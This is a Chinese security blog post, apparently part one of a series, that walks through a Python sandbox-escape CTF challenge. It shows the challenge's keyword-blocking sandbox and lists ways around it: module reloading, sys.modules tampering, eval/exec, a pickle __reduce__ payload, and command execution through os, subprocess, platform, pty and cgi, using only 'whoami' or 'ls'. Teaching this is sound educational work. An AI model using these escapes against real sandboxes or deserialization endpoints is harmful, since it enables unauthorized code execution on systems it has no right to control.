前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从沙盒逃逸看Python黑科技(上篇)

从沙盒逃逸看Python黑科技(上篇)

作者头像
七夜安全博客
发布2020-06-29 14:58:51
1.7K0
发布2020-06-29 14:58:51
举报
文章被收录于专栏:七夜安全博客七夜安全博客

一.背景

前因后果

本篇的主题源于下面的一道CTF题目:python沙箱逃逸,这是一个阉割的Python环境,主要进行了两部分限制:

1. 删除了内置函数引用

2. 对敏感的关键字进行了静态检测。

怎么算逃逸呢? 黑客需要通过输入Python代码来绕过上述的限制,获取shell,执行命令。

#!/usr/bin/env pythonfrom __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [    "import",    "exec",    "eval",    "pickle",    "os",    "subprocess",    "kevin sucks",    "input",    "banned",    "cry sum more",    "sys"]
targets = __builtins__.__dict__.keys()targets.remove('raw_input')targets.remove('print')for x in targets:    del __builtins__.__dict__[x]
while 1:    print(">>>", end=' ')    data = raw_input()
    for no in banned:        if no.lower() in data.lower():            print("No bueno")            break    else: # this means nobreak        exec data

在正式的CTF比赛中,我们是看不到沙箱源码的,只会提供一个远程的沙箱接口,用来输入代码,有回显其实还好。如果是单纯做题,一般通用的解决思路,大致分为5步:

  1. 测试能否导入包
  2. 哪些系统包做了限制
  3. 内置函数是否可用
  4. 是静态检测还是动态检测
  5. 对象之间的引用关系探索

只是解决这道题没有什么意思,咱们要从这道题中挖掘一下Python中一些“黑科技”,才是对我们有帮助的。我总结了一下这道题涉及的主要知识点 :

  1. python 如何导包
  2. Python 如何执行代码和命令
  3. Python 文件读取
  4. 内置模块
  5. 对象创建与引用

二.Python 导包

实践出真知

如果我们想在沙箱中getshell的话,必不可少的是要引入Python中执行命令的包,例如os,sys,subprocess等。

有些沙箱使用比较初级的办法,通过正则对输入代码内容进行过滤,如下所示,如果匹配,则ban掉。

这个时候,我们突破这种封锁,首先要学习的是Python的各种导包方法。

导包初阶

一般比较常见的是以下几种方法:

  • import xxx
  • from xxx import *
  • __import__("xxx")
  • importlib库
  • imp 库
  • reload(xxx)

在上面几种方法中,用的比较少的是 importlib 和 imp。我用例子简要说明一下:

reload 的用法比较有意思,假如沙箱导入了os模块,但是删除了system方法,强行使用system执行命令会报错。

# -*- coding: UTF-8 -*-### 沙箱import os
del os.__dict__["system"]
### 用户代码
os.system("whoami")

而我又想用system方法执行命令的话,可以使用reload重新加载os模块,恢复对system方法的引用。

# -*- coding: UTF-8 -*-### 沙箱import os
del os.__dict__["system"]

### 用户代码reload(os) #也可以 import imp  imp.reload(os)os.system("whoami")

导包高阶

上面说的是比较初阶的导包方式,导包说到本质上其实是python 读取指定包的py文件,并将其加载到解释器的过程。因此我们可以直接执行对应包的文件,从而实现包的导入。在py2中有execfile这个函数:

execfile('/usr/lib/python2.7/os.py')system('whoami')

在py3中,没有execfile这个函数,但是有exec,可以通过读文件交给exec执行的方式导入包。

有的沙箱,为了防止你导入敏感包,会将sys.modules置为None。

以os 为例,沙箱将sys.modules['os']置为None,用户如果想import os 就会报错。

#!/usr/bin/python##沙箱import syssys.modules['os'] = None
### 用户代码
import os 报错

为什么会报错?import 的步骤:

  1. 如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A
  2. 如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填充到 A 的 dict 中

由于sys.modules['os'] 被置空了,如果想让os被重新加载,我们将 sys.modules 中的os 删除即可,这样import 发现 sys.modules没有os这个模块,就会重新创建。

# -*- coding: UTF-8 -*-##沙箱import sys
sys.modules['os'] = None
### 用户代码del sys.modules['os']import os
os.system("whoami")

三.Python 执行代码与命令

动态执行代码

(1) eval/exec/execfile

在上文中,已经讲解了exec/execfile的用法。这里再总结一下:

  • exec(source):动态执行复杂的python代码,函数的返回值永远为None。
  • execfile(filename):执行一个py文件的内容。

eval用来执行简单的python表达式返回表达式的结果,示例如下:

eval('__import__("os").system("whoami")')

(2) pickle 序列化

import pickleclass A(object):    def __reduce__(self):        import os        return (os.system, ('whoami',))admin = A()B = pickle.dumps(admin)print(pickle.dumps(admin))
# cnt\nsystem\np0\n(S'whoami'\np1\ntp2\nRp3\n.

保存序列化之后的字符串,然后通过pickle.loads加载即可完成代码的执行。

import picklepickle.loads("cnt\nsystem\np0\n(S'whoami'\np1\ntp2\nRp3\n.")

(3) timeit 这个模块是用来测试代码的执行时间的,可以动态执行代码,代码是字符串形式。

import timeittimeit.timeit("__import__('os').system('whoami')",number=1)

执行命令

(1) os模块

可以通过os.system(cmd),os.popen(cmd)调用系统命令,例如:

os.system("whoami")os.popen('whoami')

(2) commands 模块

print(commands.getoutput('whoami'))print(commands.getstatusoutput('whoami'))

(3) subprocess模块

subprocess模块是相对比较复杂的,有很多执行命令的函数:

  • subprocess.run() Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。
  • subprocess.call() 执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。
  • subprocess.check_call() Python 2.5中新增的函数。执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。
  • subprocess.check_output() Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。
  • subprocess.getoutput(cmd) 接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。
  • subprocess.getstatusoutput(cmd) 执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。

(4) platform 模块

可以调用platform 模块 中的 popen 这个函数执行命令。

import platformprint(platform.popen('ls',mode='r',bufsize= -1).read())
platform.os.system("ls")

(5) pty 模块

pty模块可以生成一个伪终端,可以简单理解为bash,因此是可以执行命令的。

import ptypty.spawn('ls')
pty.os.system("ls")

(6) cgi 模块

import cgi
cgi.os.system("ls")

大家细细琢磨还有很多执行命令的方式。。。。。。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七夜安全博客 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 二.Python 导包
    • 导包初阶
      • 导包高阶
      • 三.Python 执行代码与命令
        • 动态执行代码
          • 执行命令
          相关产品与服务
          命令行工具
          腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档